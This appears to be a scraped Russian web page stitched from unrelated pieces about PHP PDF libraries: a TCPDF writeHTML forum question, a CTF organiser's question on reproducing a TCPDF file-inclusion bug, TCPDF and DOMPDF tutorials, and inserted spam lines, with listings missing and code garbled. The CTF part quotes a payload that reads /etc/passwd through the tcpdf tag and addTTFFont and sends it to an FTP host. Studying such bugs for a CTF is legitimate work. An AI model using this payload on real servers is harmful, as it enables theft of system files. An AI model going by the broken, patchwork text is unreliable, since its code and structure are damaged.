Что такое код cpdf_set_current_page

Содержание

tcpdf writehtml

Выводит все, кроме функции writeHTML.
Уже все перепробовал. Кто сталкивался с такой проблемой, подскажите пожалуйста.

require_once(dirname(__FILE__).’/config/lang/eng.php’);
require_once(dirname(__FILE__).’/tcpdf.php’);
class MYPDF_C extends TCPDF <
//Page header
public function Header() <
// Logo
$image_file = dirname(__FILE__).’/pics/header_pics.jpg’;
$this->Image($image_file, 0, 0, 210, », ‘JPG’, », ‘T’, false, 300, », false, false, 0, false, false, false);
// Set font
//$this->SetFont(‘freesans’, ‘B’, 20);
// Title
//$this->Cell(0, 15, ‘ >’, 0, false, ‘C’, 0, », 0, false, ‘M’, ‘M’);
>

// Page footer
public function Footer() <
// Position at 15 mm from bottom
$this->SetY(-25);
// Set font
$this->SetFont(‘freesans’, ‘I’, ;
// Page number
$html_pdf = ‘BLABLABLA’;
$this->writeHTML($html_pdf , true, 0, true, 0);
// $this->SetFont(‘freesans’, ‘B’, 20);
// Title
$this->Cell(0, 15, ‘ >’, 0, false, ‘C’, 0, », 0, false, ‘M’, ‘M’);

>
>
// create new PDF document
$pdf = new MYPDF_C(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, ‘UTF-8’, false);

// set document information
$pdf->SetCreator(PDF_CREATOR);
$pdf->SetAuthor(‘Mikeles Mikeles’);
$pdf->SetTitle(‘Mikeles title’);
$pdf->SetSubject(‘Mikeles pdf’);
$pdf->SetKeywords(‘Mikeles’);

// set default header data
//$pdf->SetHeaderData(PDF_HEADER_LOGO, PDF_HEADER_LOGO_WIDTH, PDF_HEADER_TITLE.’ 021′, PDF_HEADER_STRING);

// set header and footer fonts
//$pdf->setHeaderFont(Array(PDF_FONT_NAME_MAIN, », PDF_FONT_SIZE_MAIN));
//$pdf->setFooterFont(Array(PDF_FONT_NAME_DATA, », PDF_FONT_SIZE_DATA));

// set default monospaced font
$pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);

//set margins
$pdf->SetMargins(15, 60, 10);
//$pdf->SetMargins(PDF_MARGIN_LEFT, PDF_MARGIN_TOP, PDF_MARGIN_RIGHT);
//$pdf->SetHeaderMargin(PDF_MARGIN_HEADER);
//$pdf->SetFooterMargin(PDF_MARGIN_FOOTER);

//set auto page breaks
//$pdf->SetAutoPageBreak(TRUE, PDF_MARGIN_BOTTOM);

//set image scale factor
$pdf->setImageScale(PDF_IMAGE_SCALE_RATIO);

//set some language-dependent strings
$pdf->setLanguageArray($l);

// add a page
$pdf->AddPage();
// create some HTML content
$html_pdf = ‘ABRAKADABRA’;

// output the HTML content
$pdf->writeHTML($html_pdf , true, 0, true, 0);

// reset pointer to the last page
$pdf->lastPage();
// ———————————————————
//Close and output PDF document
$pdf->Output(‘example_021.pdf’, ‘I’);

Уязвимость PoC для TCPDF

Я создаю некоторые проблемы в рамках внутреннего CTF, который мы проводим. Как часть проблем, одна из вещей, которые я планировал раздать, была File Inclusion использование уязвимости в определенной версии TCPDF.

Я пытался следить за блогом здесь, чтобы понять саму ошибку:
Включение файла через битый TCPDF

Я в двух словах понимаю уязвимость, которая заключается в том, что TCPDF по умолчанию имеет доступ к специальному тегу. который позволяет выполнять доступные методы TCPDF вместе с параметрами.

Так, например, если:

вышеизложенное передается writeHTML() TCPDF будет вызывать some_method() с параметрами abcd ,

И чтобы иметь возможность читать файлы, конкретный метод TCPDF называется addTTFFont будет использоваться, который принимает в качестве параметров следующее:

  1. $ fontfile — файл для захвата с сервера. Любой читаемый файл может
    быть выбранным.
  2. $ fonttype — для работы атаки необходимо установить TrueType.
  3. $ outpath — Местоположение для вывода файла.

Путем введения ftp-местоположения, как 3-го параметра, файл будет загружен удаленно.

Пожалуйста, поправьте меня, если мое понимание здесь неверно.

Теперь вот что я не понимаю из блога выше. Строка, которая говорит:

Сгенерировав элемент tcpdf, используя следующий код:
$ params = TCPDF_STATIC :: serializeTCPDFtagParameters (массив (‘/ etc / passwd’, ‘TrueType’, », 255, urldecode (‘FTP: // пользователь: пароль @ хост / «)));

Теперь, что автор пытается объяснить в приведенной выше строке?

Также, чтобы иметь возможность воспроизвести эту уязвимость, вот что я попробовал:
Разместил очень простое (и, конечно, уязвимое во многих отношениях) приложение на моем локальном сервере Aapache и использовал TCPDF V 6.1.1 поскольку это была версия непосредственно перед 6.2.0, в которой была исправлена ​​ошибка.

Приложение просто позволяет пользователям зарегистрироваться и войти в систему. При входе в систему пользователь получает страницу как и при нажатии на ссылку красного цвета для пользователя создается файл PDF с именем:

где gogo было имя пользователя.

Теперь ниже приведен код, который генерирует PDF (gen_pdf.php):

Я изменил только эту часть кода выше:

это жестко запрограммированная полезная нагрузка эксплойта (просто для проверки работоспособности), где CHANGELOG.TXT файл уже присутствует в том же каталоге, что и gen_pdf.php

Выход
Похоже, файл tcpdf_bug.txt не создается в \ tmp.

Что я здесь не так делаю? Пожалуйста, помогите мне создать этот PoC.

Генерация PDF на PHP с использованием TCPDF

В предыдущей статье я писал про то, как генерировать PDF-файл на PHP с использованием библиотеки PDFLib. Однако, данная библиотека в пакет Denwer не входит. Установить данную библиотеку под Windows и более-менее свежую версию PHP сложно. Так как компилировать через Visual Studio весьма сомнительное и неудобное решение. Вдобавок, в бесплатной версии PDFLib нет возможности редактировать PDF-файл. Поэтому в этой статье я расскажу, как генерировать PDF на PHP с использованием TCPDF.

Первым делом, необходимо скачать архив со всеми файлами TCPDF: http://sourceforge.net/projects/tcpdf/files/. Данный архив извлеките в корень своего сайта.

Теперь привожу код, в котором происходит генерация PDF на PHP с использованием TCPDF:

SetMargins(20, 30, 20);
$pdf->AddPage(); // Добавляем страницу
$pdf->SetXY(20, 50); // Установка текущей точки (в мм)
$pdf->SetDrawColor(100, 100, 0); // Установка цвета (RGB)
$pdf->SetTextColor(200, 0, 0); // Установка цвета текста (RGB)
/* Выводим надпись.
— Ширина 30 мм
— Высота 10 мм
— Текст «Hello, World»
*/
$pdf->Cell(30, 10, ‘Hello, World!’);
$pdf->Output(‘test.pdf’); // Выводим в браузер
?>

В результате выполнения скрипта у нас откроется PDF-файл, в котором будет надпись «Hello World«.

Возможностей у TCPDF очень много. В данном коде я просто показал пример использования, а чтобы применять серьёзно данную библиотеку придётся изучить документацию: http://www.tcpdf.org/doc/.

Копирование материалов разрешается только с указанием автора (Михаил Русаков) и индексируемой прямой ссылкой на сайт (http://myrusakov.ru)!

Добавляйтесь ко мне в друзья ВКонтакте: http://vk.com/myrusakov.
Если Вы хотите дать оценку мне и моей работе, то напишите её в моей группе: http://vk.com/rusakovmy.

Если Вы не хотите пропустить новые материалы на сайте,
то Вы можете подписаться на обновления: Подписаться на обновления

Если у Вас остались какие-либо вопросы, либо у Вас есть желание высказаться по поводу этой статьи, то Вы можете оставить свой комментарий внизу страницы.

Порекомендуйте эту статью друзьям:

Если Вам понравился сайт, то разместите ссылку на него (у себя на сайте, на форуме, в контакте):

Она выглядит вот так:

  • BB-код ссылки для форумов (например, можете поставить её в подписи):
  • Комментарии ( 8 ):

    А можно ли сделать так, чтобы методом post в php скрипт, который вы приводите в статье передавались и сразу же отображались в обозначеном месте?

    Можно. $some = $_POST[«some»]; Далее эту переменную можете размещать в PDF-файле.

    а если pdf документ уже создан отдельно и содержит напечатанную таблицу, можно ли туда в нее вписать?

    Читайте документацию по TCPDF.

    У Вас опечатка. В Комментариях к коду написано ширина 40мм, а в коде 30

    Созданные файлы не открываются FoxitReaderом. Выдаёт ошибку: Format Error: Not a PDF or corrupted. Все другие PDF файлы открываются нормально.

    Доброго времени суток! Михаил, подскажите, пожалуйста. Сделал генерацию pdf страницы с помощью tcpdf, на денвере все нормально генерируется, заливаю на хостинг, не хочет, браузер пишет: сервер перенаправляет запрос на этот адрес таким образом, что он никогда не завершится. Заранее благодарю!

    Для добавления комментариев надо войти в систему.
    Если Вы ещё не зарегистрированы на сайте, то сначала зарегистрируйтесь.

    Copyright © 2010-2020 Русаков Михаил Юрьевич. Все права защищены.

    Как получить текущую страницу HTML код из метода Footer () в TCPDF?

    Я использую TCPDF, чтобы сделать какой-нибудь отчет генерируется с помощью последовательности HTML-таблиц. Эти таблицы содержат некоторый код отслеживания я хочу разобрать из метода Footer () и добавить к текущему колонтитулу. Любая идея, как получить HTML-код текущей страницы TCPDF?

    Я в основном делаю это:

    Единственное решение, которое я нашел в том, чтобы использовать тег, чтобы определить метод, который я добавляемый к классу SVNPDF выше. Тогда TCPDF будет вызывать этот метод с отслеживанием в параметре.

    Создание PDF-документов на лету с помощью TCPDF

    Конвертирование Web-страниц в документы для высококачественной печати

    TCPDF – один из самых активно развивающихся проектов ресурса Sourceforge.net – включает в себя мощный механизм создания PDF-документов, полностью реализованный на PHP. Такой подход упрощает установку TCPDF даже на Web-сайтах, не позволяющих получить доступ к системным каталогам или скомпилировать собственный код. Кроме того, сильно упрощается итеративная разработка, поскольку без каких-либо дополнительных действий можно сразу увидеть результаты выполнения написанного PHP-кода.

    Библиотека TCPDF поддерживает ряд распространенных графических форматов, включая векторный формат SVG и растровые форматы, такие как JPEG и PNG. Отдельная утилита позволяет обрабатывать шрифты TrueType, OpenType, PostScript Type 1 и CID-0 и добавлять их в созданные с помощью TCPDF документы. TCPDF можно использовать для генерации линейных и двумерных штрих-кодов; она поддерживает все обычные свойства PDF, такие как закладки, гиперссылки, сжатие, примечания, шифрование и цифровые подписи.

    Библиотека TCPDF и Web-страницы, использующие ее возможности, написаны на PHP; что упрощает создание и развертывание страниц с функциями генерации PDF-документов. Для работы с TCPDF можно использовать любой поддерживаемый Web-сервер и среду разработки PHP. При разработке примера этой статьи я использовал следующее программное обеспечение.

    • Eclipse 3.5.2 – одна из моих любимых сред разработки с открытым исходным кодом, поддерживающая широкий набор сред и языков программирования.
    • PHP Development Tools 2.2.0 – PHP-плагин для Eclipse.
    • MAMP Pro 1.9 – удобный пакет для Mac OS X, в который включены программные продукты Apache, MySQL и PHP, работающие в изолированной среде с удобным клиентским графическим интерфейсом. Хотя Mac OS X и поставляется с предустановленными Apache и PHP, я предпочитаю использовать MAMP Pro, потому что в этом пакете имеется стабильно работающий изолированный инструментарий разработчика, состоящий из Web-сервера, СУБД и языка PHP.
    • TCPDF 5.0.006 – текущая стабильная версия TCPDF.

    Ссылки для загрузки этих программных продуктов содержатся в разделе Ресурсы.

    После установки PHP на вашем Web-сайте можно начинать работу с TCPDF. Мы рассмотрим процесс установки TCPDF, после чего напишем на PHP Web-страницу в форме счета на оплату, подобного тому, который можно увидеть на сайте любого Интернет-магазина. Затем с помощью TCPDF мы создадим PDF-версию страницы, предназначенную для печати и отформатированную в соответствии с исходной HTML-версией.

    Установка TCPDF

    Библиотека TCPDF полностью загружается с Web-сайта Sourceforge.net в виде zip-архива. Таким образом, достаточно распаковать архив при помощи любого zip-распаковщика, и вы получите каталог, содержащий все необходимое для начала работы.

    Добавив каталог TCPDF в список Web-директорий, можно получить доступ к документации TCPDF, загрузив страницу doc/index.html, а также просматривать любые примеры, загрузив файл examples/index.php. Эти примеры также доступны на Web-сайте TCPDF (см. раздел Ресурсы).

    Однако прежде чем начать рассмотрение примеров, необходимо настроить установленную библиотеку TCPDF.

    Конфигурирование в UNIX-системах

    Если TCPDF устанавливается в UNIX®-системе, необходимо убрать со всех файлов флаг исполнения, возникший как побочный эффект от создания архива TCPDF в операционной системе Microsoft® Windows®. К счастью, это легко можно сделать при помощи пары команд, показанных в листинге 1. Также необходимо проследить за тем, чтобы каталоги cache и images были доступны для записи, поскольку в них хранятся временные файлы TCPDF.

    Илон Маск рекомендует:  Таги управления разметкой

    Следующим шагом необходимо назначить владельцев файлов (пользователя и группу). Как правило, это пользователь www и группа www, хотя в некоторых системах имена могут быть другими. Если вы запускаете TCPDF на своем собственном Web-сайте (часто в этом случае домашним каталогом является каталог public_html), этот шаг можно пропустить.

    Листинг 1. Назначение прав доступа к папке и указание ее владельца

    Обратите внимание на то, что для разделения пользователя и группы в некоторых системах в этих командах вместо знака : (двоеточие) может использоваться знак . (точка), поэтому в случае возникновении ошибки обратитесь к документации операционной системы.

    Общие настройки для всех операционных систем

    Откройте в любом текстовом редакторе файл config/tcpdf_config.php. В этом файле содержатся конфигурационные параметры TCPDF, с помощью которых можно управлять работой этой библиотеки, а также указывать, где она должна искать вспомогательные файлы.

    В файле tcpdf_config.php содержатся следующие параметры, которые вы, возможно, захотите изменить.

    • PDF_PAGE_FORMAT . Задайте для этого параметра значение letter , если вы не используете метрические форматы страниц. Скорее всего, TCPDF поддерживает более широкий набор размеров страниц, чем ваш принтер, если, конечно, вы не работаете с чем-то очень экзотическим.
    • PDF_UNIT . Задайте для этого параметра значение pt , если вам удобнее выполнять разметку PDF-документа не в миллиметрах, а в пунктах.
    • PDF_CREATOR , PDF_AUTHOR . Создатель и автор документа по умолчанию (на тот случай, если вы забудете указать эти сведения в коде генерации PDF-документа).

    Значения любых из этих параметров можно изменять непосредственно в PHP-коде, поэтому, даже если в конфигурационном файле вы укажете книжную ориентацию страницы, вы все равно сможете создавать документы в альбомной ориентации.

    Если используются конфигурационные параметры по умолчанию, при работе с библиотекой TCPDF не должно возникнуть проблем с обработкой любых примеров, поставляемых в ее составе, при условии, что файлы и каталоги не перемещались.

    На этом этапе можно загрузить файлы примера и убедиться, что установленная библиотека TCPDF работает. Мы создадим с помощью TCPDF печатную версию счета.

    Создание счета

    Итак, вы создали замечательный сайт Интернет-магазина, и посетители начинают заказывать ваши товары и платить за них деньги. Все это замечательно, но если вдруг у какого-нибудь пользователя возникнет проблема с кредитной картой, он может захотеть оплатить товар на основании выставленного ему счета.

    Давайте создадим Web-страницу со счетом, чтобы пользователи могли видеть, какие товары они заказали и сколько они стоят.

    Первая версия: Web-страница

    В моей любимой среде PHP я создал папку Invoice и поместил в нее следующие файлы.

    • Invoice.php – PHP-код для создания счета.
    • Invoice.css – CSS-стили для счета.
    • Azuresol_OnyxTree-S.png – изображение «OnyxTree S» (автор Azuresol), которое будет использоваться в качестве логотипа компании (бесплатная пиктограмма, найденная на Web-сайте iconfinder.com, см. раздел Ресурсы).
    • gentleface_print.png – изображение «Print» (автор gentleface), которое будет служить для запуска генерации PDF-документа (еще одна бесплатная пиктограмма с сайта iconfinder.com).

    В файле Invoice.php проверяется, был ли при обращении к странице передан аргумент PDF или нет (листинг 2). Если аргумент PDF не был передан, пользователь попадает на обычную Web-страницу, которая в этом случае отображается с помощью функции generateHTML (листинг 3). Функция generatePDF будет рассмотрена чуть позже, но нетрудно предположить, что она будет использоваться для генерации PDF-версии страницы счета.

    Листинг 2. Проверка режима создания страницы

    В массиве $invoiceData содержатся все данные о счете; этот массив создается непосредственно в файле Invoice.php, но можно представить, что мы получаем информацию из базы данных, от Web-сервиса или в виде содержимого корзины какого-нибудь Интернет-магазина.

    Листинг 3. Генерация HTML

    Для краткости я убрал из листинга 3 весь HTML-код. Этот код присутствует в файле Invoice.php, который находится в архиве CreatingPDFs-Invoice.zip (см. раздел Загрузка).

    На основании информации, переданной в функцию в виде переменной $data , создается таблица, содержащая на каждую позицию заказа по одной строке с указанием количества, цены за единицу товара и общей суммы. В конце таблицы добавляется строка с итоговой суммой заказа. Нижний колонтитул страницы содержит идентификатор пользователя, а также время и дату формирования заказа.

    Основными, и самыми трудными, задачами при размещении этого кода на вашем Web-сайте, конечно, являются взаимодействие с источниками данных и использование CSS для получения требуемого вида страницы.

    Рисунок 1. Web-страница счета во всей красе

    Моя полностью вымышленная компания South Seas Pacifica занимается поставками чая и кофе, и, по всей видимости, особенно любит суматранские сорта. По крайней мере, их цены достаточно привлекательны!

    Значок принтера в правом нижнем углу страницы позволяет получить печатную форму счета. Здесь вступает в дело TCPDF. Нашим покупателям не придется распечатывать Web-страницу, потому что мы создадим для них аккуратную PDF-версию, которую и можно будет без труда распечатать.

    Вторая версия: PDF-документ

    Теперь, когда у нас есть аккуратная Web-страница, необходимо создать ее PDF-версию, предназначенную для печати.

    Вспомните листинг 2, из которого видно, что при передаче в загружаемую страницу Invoice.php аргумента PDF (http://. /Invoice.php?PDF) выполняется функция generatePDF , обрабатывающая те же самые данные (см. листинг 4).

    Листинг 4. Генерация счета в PDF-формате

    Функция generatePDF создает объект InvoicePdf , вызывает на исполнение его метод CreateInvoice , а затем выводит PDF-документ под именем Your_Invoice.pdf в браузер пользователя. Все это выглядит предельно просто, если не учитывать тот факт, что мне пришлось создать класс InvoicePdf самостоятельно, дублируя исходный стиль Invoice. Сейчас я объясню, как я это сделал.

    Класс InvoicePdf расширяет класс TCPDF библиотеки TCPDF, являющийся главным механизмом генерации PDF-документов. С помощью переданных аргументов $orientation (ориентация страницы), $unit (единица измерения) и $format (размер страницы) в конструкторе выполняется инициализация родительского класса (см. листинг 5). Последние три аргумента конструктора TCPDF говорят о том, что ввод данных выполняется в формате Unicode (по умолчанию значение true), PDF-документ создается в кодировке UTF-8, кэширование на диске не используется (по умолчанию значение false). При использовании кэширования на диске на генерацию PDF-документа затрачивается меньше оперативной памяти, но уходит больше времени. Поскольку наш документ небольшой и достаточно простой, мы не получим никаких преимуществ от использования кэширования.

    После инициализации родительского класса ссылка на содержимое счета сохраняется для последующего использования. Далее с помощью метода SetMargins задаются отступы страницы: 72 пункта слева и справа и 36 пунктов сверху. Последний аргумент метода SetMargins показывает, что значения отступов по умолчанию заменяются нашими собственными значениями. С помощью метода SetAutoPageBreaks мы указываем TCPDF автоматически создавать следующую страницу при достижении конца (36 пунктов от нижнего края) предыдущей.

    Листинг 5. Конструктор класса InvoicePdf

    После настройки параметров страницы заполняются метаданные PDF-документа, которые будут отображаться в окне свойств документа в программе просмотра. Метаданные представляют собой обычные строки с текстом, поэтому вы можете написать в них все, что посчитаете нужным.

    Используйте в методе setImageScale коэффициент масштабирования по умолчанию, определенный в конфигурационном файле TCPDF. Этот коэффициент используется для масштабирования растровых изображений в соответствии с параметрами страницы.

    Наконец, с помощью метода setLanguageArray для PDF-файла задаются некоторые зависящие от языка строки; эти строки определены в соответствующем конфигурационном файле, загружаемом из основного конфигурационного файла TCPDF.

    В листинге 6 выполняется переопределение метода Header , предназначенного для генерации содержимого заголовка каждой страницы. Для этого в первую очередь необходимо определить несколько переменных. Задав значение параметра bigFont равным 14 пунктам, мы определили размер логотипа и стандартного текста относительно размера bigFont . Далее рассмотрим вызываемые методы TCPDF.

    Метод ImagePngAlpha вставляет изображение с логотипом и размещает его в верхнем левом углу, отступая 72 пункта вправо и 36 пунктов вниз в соответствии с ранее определенными параметрами страницы. Поскольку это квадратное изображение, можно указать одинаковые ширину и высоту (вычисляемое значение $imageScale ). Поскольку данный метод может работать с форматами PNG и JPEG, мы указываем, что наше изображение имеет формат PNG (если при установке PHP была установлена библиотека GD, можно загружать изображения в любом формате, поддерживаемом этой библиотекой). Далее указывается значение null, поскольку PDF-ссылка, созданная при выполнении метода AddLink и указывающая на это изображение, не добавляется. Следующее значение, T , говорит о том, что следующий объект PDF-документа должен быть нарисован в верхнем правом углу области изображения. Наконец, мы указываем TCPDF не менять размер рисунка, оригинальное разрешение которого составляет 72 точки на дюйм (стандартное разрешение экрана), и выровнять его по левому краю страницы.

    Как вы видите, метод ImagePngAlpha позволяет управлять многими параметрами размещения изображений на странице PDF-документа (см. листинг 6).

    Листинг 6. Генерация заголовка страницы

    После добавления логотипа зададим шрифт (семейство Times bold, размер определяется в соответствии с аргументом bigFont ) и создадим несколько ячеек, в которых укажем название и адрес компании. Эти ячейки содержат текст и похожи на ячейки таблиц в HTML. Метод Cell принимает следующие аргументы (на самом деле этих аргументов гораздо больше – их полный список можно посмотреть в документации TCPDF).

    • Width – ширина ячейки. Если значением этого аргумента является 0, ячейка будет растянута на всю ширину страницы, до ее правой границы (или до левой, если используется язык с написанием справа налево).
    • Height – высота ячейки. Если значением этого аргумента является 0, ячейка будет растянута по высоте так, чтобы вместить содержимое.
    • Text – текст, отображаемый в ячейке с использованием текущих параметров шрифта и цвета.
    • Border – указывает, как рисуются границы ячейки. Мы не будем использовать границы, поэтому в качестве значения этого аргумента укажем 0. Для отображения всех границ ячейки необходимо указать значение 1, а для отображения границ с определенных сторон – строку, содержащую названия нужных сторон.
    • Position – местоположение следующей ячейки. Если задать для этого аргумента значение 1, ячейка будет расположена в начале новой строки, 0 – справа от текущей ячейки, и 2 – в новой строке под текущей ячейкой.

    Наконец, метод Header рисует внизу заголовка черную линию шириной во всю страницу. На рисунке 2 показан вид заголовка в приложении Preview операционной системы Mac OS X.

    Рисунок 2. Заголовок страницы для печати – точно такой же, как и заголовок HTML-страницы

    Теперь, когда создана копия исходного заголовка, необходимо также переопределить метод Footer для создания нижнего колонтитула. Сделать это намного проще, поскольку нижний колонтитул содержит лишь идентификатор пользователя и дату заказа, отделенные от остального содержимого страницы широкой черной линией.

    В этом методе содержится лишь один дополнительный фрагмент кода – вызов метода SetY с отрицательным значением. Отрицательный знак Y означает, что расстояние задается от нижнего края страницы. Таким образом, мы оставляем запас места для размещения нижнего колонтитула, гарантируя, что изображение не будет расположено слишком близко к нижнему полю (см. листинг 7).

    Листинг 7. Генерация нижнего колонтитула страницы

    Полученная PDF-страница похожа на Web-версию счета, но не содержит значка принтера. Этот значок здесь не нужен, поскольку данная страница уже предназначена для печати. На рисунке 3 показан вид нижнего колонтитула.

    Рисунок 3. Нижний колонтитул страницы для печати

    Итак, у нас есть заголовок и нижний колонтитул. Теперь необходимо добавить само содержимое заказа.

    После вызова метода AddPage для создания новой (в нашем случае единственной) страницы выберите шрифт Helvetica размером 11 пунктов и переместите место вставки данных на 144 пункта вниз от верхнего края страницы. Таким образом, между заголовком страницы и началом таблицы останется небольшое расстояние.

    Далее вычислите все необходимые расстояния, чтобы расположить таблицу по центру страницы. Для этого необходимо учесть ширину страницы, ширину двух отступов (72 пункта каждый), а также наличие одного широкого и трех обычных столбцов самой таблицы.

    После этого на основании вычисленных значений необходимо создать несколько ячеек, содержащих заголовки столбцов, и нарисовать для них границы. Также нужно будет выровнять заголовки числовых столбцов по правому краю, чтобы они были выровнены со значениями. После создания ячеек с заголовками вызывается метод Ln , переводящий курсор на начало новой строки.

    Илон Маск рекомендует:  Открытие ссылки в родительском окне

    Все строки, содержащие позиции заказа, обрабатываются поочередно с помощью оператора foreach (см. листинг 8).

    Листинг 8. Генерация содержимого страницы

    Последнее, что нам осталось сделать – это сформировать итоговую строку. В этой части кода демонстрируется, как можно с легкостью менять стиль шрифта для разных ячеек (с помощью метода SetFont , включающего и выключающего использование жирного шрифта). Ширина первой текстовой ячейки равна ширине трех первых столбцов таблицы, поскольку итоговую сумму счета необходимо расположить под последней ячейкой последнего столбца.

    После этого ваша таблица, содержащая заказанные позиции товаров, должна выглядеть, как показано на рисунке 4.

    Рисунок 4. Заказанные позиции

    Расположив текстовые ячейки правильным образом, мы воссоздали оригинальный Web-документ в формате, отлично подходящим для печати. Библиотека TCPDF позволяет добавлять поддержку генерации PDF-документов в существующие Web-страницы без внесения изменений в саму Web-страницу или лежащие в ее основе данные.

    Заключение

    В этой статье вы познакомились с TCPDF – популярной библиотекой языка PHP, предназначенной для создания PDF-документов. TCPDF не требует подключения внешних библиотек, что существенно упрощает ее установку на существующие Web-сайты на основе PHP. Я продемонстрировал основы установки и конфигурирования TCPDF в UNIX-системах. После этого была создана простая Web-страница Интернет-магазина, специализирующегося на экзотических горячих напитках.

    Имея Web-страницу, которая выглядит, как профессиональный счет, мы расширили класс TCPDF , чтобы сгенерировать PDF-версию счета, которую можно без труда загрузить или распечатать. Переопределение методов Header и Footer позволило настроить привычный вид страницы, а написание дополнительного метода – расположить позиции заказа в виде таблицы.

    Ресурсы для скачивания

    • этот контент в PDF
    • Пример для этой статьи (os-tcpdf-CreatingPDFs-Invoice.zip | 21 КБ)

    Похожие темы

    • Оригинал статьи: Create PDFs on the fly using TCPDF (EN).
    • Посетите Web-сайт TCPDF.org (EN).
    • Статья Generate PDF files from Java applications dynamically (EN) познакомит вас с библиотекой iText. Кроме того, в этой статье представлено пошаговое руководство по использованию iText для создания PDF-документов в приложениях, использующих технологию Java.
    • Для поиска бесплатных пиктограмм для создания логотипа компании и значка принтера я использовал ресурс Iconfinder (EN). Этот сайт содержит большое количество высококачественных пиктограмм, сгруппированных по размеру и возможности использования в коммерческих целях.
    • Статья Getting started with the Eclipse Platform (EN) раскрывает историю создания и содержит обзор среды разработки Eclipse, включая подробное описание установки среды и разработанных для нее плагинов.
    • Загрузите проект TCPDF (EN) с Web-сайта Sourceforge.net.
    • Для написания кода в этой статье использовалась интегрированная среда разработки Eclipse (EN).
    • Загрузите инструментарий разработчика PHP Development Tools for Eclipse (EN).
    • Загрузите MAMP Pro (EN) – пакет приложений для операционной системы Mac OS X, включающий в себя Apache, MySQL и PHP.
    • В документации Lotus Connections documentation (EN) содержится документация по продукту, а также ссылки на другие ресурсы для поддерживаемых версий Lotus Connections.
    • Посетите раздел Open source портала developerWorks, содержащий обширную справочную информацию, инструменты и обновления проектов, а также самые популярные среди наших читателей статьи и руководства (EN), которые помогут вам в разработке и использовании open source технологий в продуктах IBM.
    • Ознакомительные версии программного обеспечения IBM (EN): загрузите ознакомительные версии или поработайте в онлайновом режиме в среде IBM SOA Sandbox, чтобы ознакомиться с инструментами для разработчиков и приложениями промежуточного уровня семейств DB2®, Lotus®, Rational®, Tivoli® и WebSphere®.

    Комментарии

    Войдите или зарегистрируйтесь для того чтобы оставлять комментарии или подписаться на них.

    DOMPDF – экспорт данных из PHP в PDF

    С помощью библиотеки DOMPDF можно создавать PDF файлы из HTML кода. Нужно только сверстать некий HTML шаблон и передать его DOMPDF и уже на выходе получить сгенерированный PDF файл. Но не надо забывать и то, что эта библиотека не движок для обработки веб-страниц, а значит и шаблоны должны быть сверстаны с использованием самых базовых средств: HTML тегов и CSS стилей. Хотя разработчики заявляют, что их библиотека поддерживает стандарты CSS 2.1 и даже некоторые свойства CSS 3. С полным их перечнем можно ознакомиться здесь. Есть, кстати, один минус – она является довольно “прожорливой” к оперативной памяти. Поэтому возможно придется задуматься об аренде виртуального выделенного сервера. Но это зависит от содержания и объема планируемых PDF документов. С другой стороны она вам может помочь сэкономить много времени на разработку различных отчетов в формате PDF.
    Читая различную документацию по DOMPDF, а ее немного и то в основном больше информации в виде ответов на заданные вопросы. Я заметил, что ее используют для более тривиальных задач. Ну, к примеру, ответа на вопрос: как задать номер стартовой страницы для документа? Мной получено не было.
    Сейчас я вам хочу рассказать о тех “подводных камнях”, с которыми мне пришлось столкнуться. И поверьте, я потерял много времени. Потерял бы еще больше, если бы мне не дал пару советов один добрый человек. Уже имевший опыт по работе с данной библиотекой.
    Представляю перечень проблем, с которыми мне пришлось столкнуться:

    • отсутствие необходимых каталогов с файлами (не полная сборка);
    • частично рабочая версия библиотеки;
    • наличие бага при попытке установки номера страницы документа (номер стартовой страницы);
    • наличие в конце документа пустой страницы;
    • не полное заполнение страницы текстом (иногда оставалось много пустого места).

    Как видно из всего выше сказанного, в этой библиотеке имеется достаточно неприятных багов, но если постараться, то с ней можно “договориться”.

    Установка библиотеки

    Саму библиотеку берем вот здесь. Я, к сожалению, не могу сказать (как обычно говорят в таких случаях), что необходимо скачать самую новую версию. Далее я объясню почему. Но я все-таки надеюсь, что со временем существующие в последней версии баги будут устранены. После получения архива с библиотекой, распакуйте его в нужную вам на сервере директорию.
    В корневом каталоге библиотеки DOMPDF находиться файл конфигурации – dompdf_config.inc.php. В нем присутствуют базовые настройки библиотеки. Нас здесь интересуют следующие три:

    • значением директивы DOMPDF_DEFAULT_PAPER_SIZE содержит значение размера листа бумаги (a4, letter и т.д.);
    • в директиве DOMPDF_DPI в численном выражении указывается качество детализации документа. По умолчанию оно равно 96;
    • значение директивы DOMPDF_TEMP_DIR следует изменить на содержащееся значение в PHP директиве upload_tmp_dir, но только в том случае, если значение, возвращенное PHP функцией sys_get_temp_dir, будет отличным от значения этой PHP директивы. С полным перечнем возможных настроек можно ознакомиться здесь.

    Минимальная конфигурация сервера должна быть следующей:

    • PHP Version 5.0;
    • DOMDocument extension;
    • PCRE;
    • Zlib;
    • MBString extension;
    • GD.

    Так же рекомендуется установить программу GMagick или IMagick ну и соответственно подключить ее через расширение к PHP. Здесь прослеживается такая вот особенность: что якобы установка одной из рекомендуемых программ позволит лучше работать с прозрачностью изображений в формате PNG. Но на практике выяснилось следующее: если на сервере не установлена ни одна из программ, то прозрачность изображений в формате PNG вообще не обрабатывается. Исключение было для Denwera 3. Для PHP 5.3 входящим в пакет Denwera 3 необходимости в установке ни в одной из двух данных программ не возникло.

    Установка шрифтов

    Изначально в библиотеке присутствует набор базовых шрифтов, однако среди них нет тех, которые поддерживали бы кириллицу. Поэтому если нужны кириллические шрифты или есть необходимость в расширении имеющегося множества уже готовых шрифтов, то придется заняться их установкой. И в этом нет ничего сложного. Устанавливать можно шрифты как TrueType (*.ttf) так и OpenType (*.otf). Для работы нам понадобится PHP скрипт load_font.php, который располагается в корне каталога библиотеки DOMPDF. Запуск данного скрипта необходимо производить из командной строки и на вход он принимает следующие параметры:

    • font_family – имя шрифта;
    • n_file – файл *.ttf или *.otf;
    • _file – файлы соответствующие стилям шрифта (bold, italic, bold-italic).

    Примеры:

    Для демонстрации произведем установку шрифта “roboto”. Предположим что каталог со шрифтом “roboto” и его стилями находится в директории “D:\font”. Соответственно если нам нужен только шрифт со стилем “normal”, то необходимо запустить скрипт со следующими параметрами:

    Но если требуется установить шрифт “roboto” со всеми четырьмя его стилями (normal, bold, italic и bold-italic), то вызов скрипта уже будет иметь другой вид:

    Обратите внимание на порядок передачи параметров скрипту для одновременного создания шрифта “roboto” с его четырьмя стилями. Первым передается путь к файлу шрифта со стилем “normal”, затем “bold” и т.д. Этот порядок нарушать ни в коем случае нельзя.

    Создание шаблона для DOMPDF

